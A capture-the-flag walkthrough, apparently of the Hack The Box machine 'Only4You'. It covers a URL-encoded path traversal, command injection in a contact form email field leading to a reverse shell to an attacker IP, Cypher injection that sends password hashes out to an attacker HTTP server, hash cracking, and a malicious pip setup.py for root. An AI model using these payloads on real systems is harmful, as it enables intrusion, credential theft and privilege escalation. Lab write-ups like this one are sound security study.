The machine is hosted on 10.10.11.210, let's take the first steps :
nmap --min-rate=1000 -T4 10.10.11.210
echo "10.10.11.210 only4you.htb" >> /etc/hosts
The scan revealed ports 80 and 22 among the details. For the moment, the page and its source code gave nothing revealing, so i started enumerating the web host directories but got no results, so I enumerated the subdomains using SecLists wordlists
wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.only4you.htb" http://only4you.htb | grep 200
Then i found an existing "beta" subdomain returning HTTP status 200, interesting, let's add it.
sudo nano /etc/hosts
10.10.11.210 only4you.htb beta.only4you.htb
Got a web page giving the "beta" source code of the tool they supposed to sell, and two options at the corner. I downloaded the source code & i followed "resize", then i gived as an entry a png picture.
In the source code of the resizing application, one detail caught my eye in the @app.route('/download')
block, the method checks that the file name doesn't contain any ".." and doesn't start with "../", it smells of local file inclusion.
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
Let's give it a try, we intercept the HTTP request to /download, and we obfuscate the payload "/../../../../etc/passwd" with an URL encoding.
POST /download HTTP/1.1 Host: beta.only4you.htb Content-Length: 45 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://beta.only4you.htb Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://beta.only4you.htb/list Accept-Encoding: gzip, deflate Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZGFuZ2VyIiwiSGFja2luZyBkZXRlY3RlZCEiXX1dfQ.ZHY8_g.J_xsGK7w8CbHCpYUsHUoREwVCWA Connection: close image=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Bingo ! Got passwd !
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 May 2023 18:29:46 GMT Content-Type: application/octet-stream Content-Length: 2079 Connection: close Content-Disposition: attachment; filename=passwd Last-Modified: Thu, 30 Mar 2023 12:12:20 GMT Cache-Control: no-cache ETag: "1680178340.2049809-2079-393413677" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:112:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin john:x:1000:1000:john:/home/john:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false neo4j:x:997:997::/var/lib/neo4j:/bin/bash dev:x:1001:1001::/home/dev:/bin/bash fwupd-refresh:x:114:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin _laurel:x:996:996::/var/log/laurel:/bin/false
One of the users is named john.
Let's now try to retrieve the app.py file through the same method.
Response for the following payload :
image=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/var/www/only4you/app.py
import smtplib, re from email.message import EmailMessage from subprocess import PIPE, run import ipaddress def issecure(email, ip): if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email): return 0 else: domain = email.split("@", 1)[1] result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8') if "v=spf1" not in output: return 1 else: domains = [] ips = [] if "include:" in output: dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") dms.pop(0) for domain in dms: domains.append(domain) while True: for domain in domains: result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) output = result.stdout.decode('utf-8') if "include:" in output: dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:") domains.clear() for domain in dms: domains.append(domain) elif "ip4:" in output: ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0) for i in ipaddresses: ips.append(i) else: pass break elif "ip4" in output: ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:") ipaddresses.pop(0) for i in ipaddresses: ips.append(i) else: return 1 for i in ips: if ip == i: return 2 elif ipaddress.ip_address(ip) in ipaddress.ip_network(i): return 2 else: return 1 def sendmessage(email, subject, message, ip): status = issecure(email, ip) if status == 2: msg = EmailMessage() msg['From'] = f'{email}' msg['To'] = 'info@only4you.htb' msg['Subject'] = f'{subject}' msg['Message'] = f'{message}' smtp = smtplib.SMTP(host='localhost', port=25) smtp.send_message(msg) smtp.quit() return status elif status == 1: return status else: return status
Interseting thing right there :
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
The content of the mail field is retrieved from the contact fields on the home page. The program performs a hard DNS lookup on the domain name to make sure it exists. The only condition for moving on to the next block is that the entry follows a fairly generous regular expression. In other words, everything after the "@" is executed.
I'd love rush and try an RCE, but first let's make sure that the requests are actually executed by the machine.
Let's try sending a ping echo to our machine and see if we can receive it.
URL-format-obfuscated entry for ping 10.10.16.54 -c 1
name=Yazid&email=yazid%40gmail.com;ping%2010.10.16.54%20%2d%63%201&subject=Hello&message=On+the+rockzzz
(base) ┌─[yazid@parrot]─[~/Desktop]
└──╼ $sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:02:18.457469 IP only4you.htb > 10.10.16.54: ICMP echo request, id 2, seq 1, length 64
01:02:18.457506 IP 10.10.16.54 > only4you.htb: ICMP echo reply, id 2, seq 1, length 64
We're getting the echoes, time for the reverse shell ! payload : bash -c "bash -i >& /dev/tcp/10.10.16.54/2106 0>&1"
name=Yazid&email=yazid%40gmail.com;%0d%0abash%20-c%20%22bash%20-i%20%3e%26%20%2fdev%2ftcp%2f10.10.16.54%2f2106%200%3e%261%22;message=On+the+rockzzz
listening on [any] 2106 ...
connect to [10.10.16.54] from (UNKNOWN) [10.10.11.210] 48540
bash: cannot set terminal process group (1016): Inappropriate ioctl for device
bash: no job control in this shell
www-data@only4you:~/only4you.htb$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse shell established.
After digging into the machine, its status networks are as follows
www-data@only4you:/$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8001 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 10.10.11.210:51182 10.10.14.102:9998 ESTABLISHED
tcp 0 0 127.0.0.1:38006 127.0.0.1:7687 ESTABLISHED
tcp 0 12 10.10.11.210:35280 10.10.16.54:2106 ESTABLISHED
tcp 0 0 10.10.11.210:35708 10.10.14.128:7979 ESTABLISHED
tcp 0 0 127.0.0.1:56624 127.0.0.1:7687 ESTABLISHED
tcp 0 1 10.10.11.210:53794 8.8.8.8:53 SYN_SENT
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 127.0.0.1:7687 :::* LISTEN
tcp6 0 0 127.0.0.1:7474 :::* LISTEN
tcp6 0 0 127.0.0.1:7687 127.0.0.1:38006 ESTABLISHED
tcp6 0 0 127.0.0.1:7687 127.0.0.1:56624 ESTABLISHED
udp 0 0 127.0.0.1:39391 127.0.0.53:53 ESTABLISHED
udp 0 0 127.0.0.53:53 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
We then establish a tunnel with chisel to access possible web portals for these services. On client side :
www-data@only4you:~/only4you.htb$ ./chisel_1.8.1_linux_amd64 client 10.10.16.54:8888 R:8889:localhost:3000
On server side
└──╼ $./chisel_1.8.1_linux_amd64 server --p 8888 -reverse
2023/05/31 02:56:17 server: Reverse tunnelling enabled
2023/05/31 02:56:17 server: Fingerprint 8q5FP2W94F4I0cPqIsC7HR2s18ZhHyc666xnnadZoFA=
2023/05/31 02:56:17 server: Listening on http://0.0.0.0:8888
2023/05/31 02:58:31 server: session#1: tun: proxy#R:8889=>localhost:3000: Listening
We establish tunnelisation for all the services and make them run on background
www-data@only4you:~/only4you.htb$ ./chisel_1.8.1_linux_amd64 client 10.10.16.54:8888 R:8889:localhost:3000 &
[1] 61310
www-data@only4you:~/only4you.htb$ ./chisel_1.8.1_linux_amd64 client 10.10.16.54:8888 R:8890:localhost:8001 &
[2] 61319
www-data@only4you:~/only4you.htb$ ./chisel_1.8.1_linux_amd64 client 10.10.16.54:8888 R:8891:localhost:33060 &
[3] 61334
www-data@only4you:~/only4you.htb$ ./chisel_1.8.1_linux_amd64 client 10.10.16.54:8888 R:8892:localhost:3306 &
[4] 61341
www-data@only4you:~/only4you.htb$ ./chisel_1.8.1_linux_amd64 client 10.10.16.54:8888 R:8893:localhost:7687 &
[5] 61356
www-data@only4you:~/only4you.htb$ ./chisel_1.8.1_linux_amd64 client 10.10.16.54:8888 R:8894:localhost:7474 &
[6] 61363
Let's now try to access the web portal of these services :
A simple classy admin:admin and we're in, it's a Neo4j interface, Neo4j is a known DBMS.
Some versions of Neo4j are known to be vulnerable to data exfiltration via SQL injection.
The following links give more details on how to exploit the flaw :
https://exploit-notes.hdks.org/exploit/database/neo4j-pentesting/
https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j
We craft the following payload and send it through the search bar, this payload aims to retrieve details about the DBMS :
yazid ' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.16.54:7777/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
└──╼ $sudo python -m http.server 7777
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
10.10.11.210 - - [31/May/2023 16:34:35] "GET /chisel_1.8.1_linux_amd64 HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:38:35] code 400, message Bad request syntax ('GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1')
10.10.11.210 - - [31/May/2023 16:38:35] "GET /?version=5.6.0&name=Neo4j Kernel&edition=community HTTP/1.1" 400 -
OK. Let's now craft a payload to retrieve table names :
yazid ' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.16.54:7777/?label='+label as l RETURN 0 as _0 //
10.10.11.210 - - [31/May/2023 16:51:01] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:51:01] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:51:01] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:51:01] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:51:02] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:51:02] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:51:02] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:51:02] "GET /?label=employee HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:51:02] "GET /?label=user HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:51:03] "GET /?label=employee HTTP/1.1" 200 -
Table names retrieved, we want to see now their content :
yazid ' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.16.54:7777/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
10.10.11.210 - - [31/May/2023 16:55:38] "GET /?password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:55:38] "GET /?username=admin HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:55:38] "GET /?password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6 HTTP/1.1" 200 -
10.10.11.210 - - [31/May/2023 16:55:38] "GET /?username=john HTTP/1.1" 200 -
Hold on ! We got the hashed password for john in the response : a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6.
Let's identify it and try to crack it.
└──╼ $hash-identifier a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
Possible Hashs:
[+] SHA-256
[+] Haval-256
Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))
└──╼ $john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ThisIs4You (?)
1g 0:00:00:01 DONE (2023-05-31 17:10) 0.5555g/s 5898Kp/s 5898Kc/s 5898KC/s Xavier44..SaGiTaRiO13
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed
Password retrieved ! We can now establish an SSH connexion to john's account.
john@only4you:~$ id
uid=1000(john) gid=1000(john) groups=1000(john)
john@only4you:~$ pwd
/home/john
john@only4you:~$ cat user.txt
3bc32********************f555e
john@only4you:~$
Before using PrivEsc tools, let's see what sudo -l
has to say :
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
It is possible to execute arbitrary code when installing a package with pip. For more details, see the following links:
https://medium.com/ochrona/arbitrary-code-execution-during-python-package-installation-3a60990350ef
https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/
We use the following repository as a basis for our malicious package: https://github.com/wunderwuzzi23/this_is_fine_wuzzi/
git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzigit
codium ./this_is_fine_wuzzi/
We then modify the setup.py key file as follows :
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import socket,os,pty
def RunCommand():
print("On the rockzzzz")
os.system("chmod u+s /bin/sh")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
This is an attempt to elevate privileges using the sticky bit method.
We then build the package :
(base) ┌─[✗]─[yazid@parrot]─[~/this_is_fine_wuzzi]
└──╼ $python -m build
* Creating venv isolated environment...
* Installing packages in isolated environment... (setuptools >= 40.8.0, wheel)
* Getting build dependencies for sdist...
running egg_info
On the rockzzzz
And upload it to the organization's git via Gogs (port 3000)
Which we then fetch via our command executed with sudo :
john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
And we're bringing it all to a beautiful close :
john@only4you:~$ bash -p bash-5.0# id uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john) bash-5.0# cat /root/root.txt 925*********************444